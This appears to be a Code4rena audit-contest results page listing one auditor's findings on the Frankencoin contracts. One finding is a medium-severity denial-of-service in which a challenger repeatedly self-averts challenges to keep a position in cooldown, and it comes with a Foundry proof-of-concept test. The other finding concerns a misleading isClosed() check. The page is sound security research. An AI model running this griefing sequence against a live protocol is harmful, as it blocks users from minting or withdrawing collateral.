Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 64/199
Findings: 2
Award: $56.43
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: peanuts
Also found by: GreedyGoblin, J4de, KIntern_NA, Kumpa, LegendFenGuin, T1MOH, __141345__, deadrxsezzz, deliriusz, ltyu, m9800, rvierdiiev
33.835 USDC - $33.83
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L140-L148 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L208-L213 https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L304-L317
Positions that are challenged can be averted if the bid is high enough. When a challenge is averted, the position goes into a temporary cooldown period of 1 day. Currently, there are no costs to start a challenge. This is problematic because there is nothing preventing the same challenger to self-avert their own challenge. This opens up the following DoS attack:
When the cooldown
is applied, the functions reduceLimitForClone
, mint
, and withdrawCollateral
are restricted. This essentially gives control of when these functions can be executed to an adversary.
Add this test to GeneralTest.t.sol, run forge test --match-test testAvertDoS -vv
.
function testAvertDoS() public { test01Equity(); // ensure there is some equity to burn address posAddress = test04Mint(); // create a position to be challenged Position pos = Position(posAddress); // check some assumptions require(pos.minted() == 100000 ether); require(pos.collateral().balanceOf(posAddress) == 1001); // bob challenges and then self-averts col.mint(address(bob), 1300); uint256 colBefore = col.balanceOf(address(bob)); uint256 cooldownBefore = pos.cooldown(); uint256 first = bob.challenge(hub, posAddress, 300); require(hub.isChallengeOpen(first)); // avert first challenge bob.avertChallenge(hub, swap, first); uint256 colAfter = col.balanceOf(address(bob)); skip(24 hours); // challenge and avert again first = bob.challenge(hub, posAddress, 300); bob.avertChallenge(hub, swap, first); uint256 cooldownAfter = pos.cooldown(); require(colAfter == colBefore, "not the same col"); require(cooldownAfter > cooldownBefore, "not the same cooldown"); }
Manual
Adding a nominal fee to challenges to mitigate such attacks.
#0 - c4-pre-sort
2023-04-26T11:44:28Z
0xA5DF marked the issue as duplicate of #745
#1 - c4-pre-sort
2023-04-26T11:44:34Z
0xA5DF marked the issue as high quality report
#2 - c4-judge
2023-05-18T13:47:47Z
hansfriese changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-05-18T13:48:46Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: juancito
Also found by: 0xAgro, 0xNorman, 0xSmartContract, 0xStalin, 0xTheC0der, 0xWaitress, 0xhacksmithh, 0xnev, 3dgeville, 8olidity, Arz, Aymen0909, BGSecurity, BRONZEDISC, Bauchibred, Bauer, BenRai, ChainHunters, ChrisTina, CodeFoxInc, DedOhWale, DishWasher, EloiManuel, IceBear, Inspex, Jorgect, Kaysoft, LeoGold, LewisBroadhurst, Madalad, MiloTruck, MohammedRizwan, Nyx, Polaris_tow, RaymondFam, SaharDevep, SanketKogekar, Sathish9098, SolidityATL, Udsen, W0RR1O, aria, ayden, berlin-101, bin2chen, catellatech, codeslide, crc32, decade, descharre, evmboi32, eyexploit, fatherOfBlocks, georgits, giovannidisiena, joestakey, karanctf, kodyvim, ltyu, lukris02, m9800, matrix_0wl, mov, mrpathfindr, nadin, niser93, p0wd3r, parlayan_yildizlar_takimi, pavankv, pontifex, qpzm, ravikiranweb3, rbserver, santipu_, shealtielanz, slvDev, tnevler, wonjun, xmxanuel, yixxas
22.6007 USDC - $22.60
isClosed
can be incorrectAs noted in the code documentation for the function isClosed
:
A position should only be considered 'closed', once its collateral has been withdrawn. * This is also a good creterion when deciding whether it should be shown in a frontend.
Currently, isClosed()
relies on the balance of the collateral in the contract.
function collateralBalance() internal view returns (uint256){ return IERC20(collateral).balanceOf(address(this)); }
This is problematic because collateral can be sent to the “closed” Position to make it seem like the position is still open. This can throw off the front-end or any other system that relies on this function.
#0 - c4-judge
2023-05-17T05:01:18Z
hansfriese marked the issue as grade-b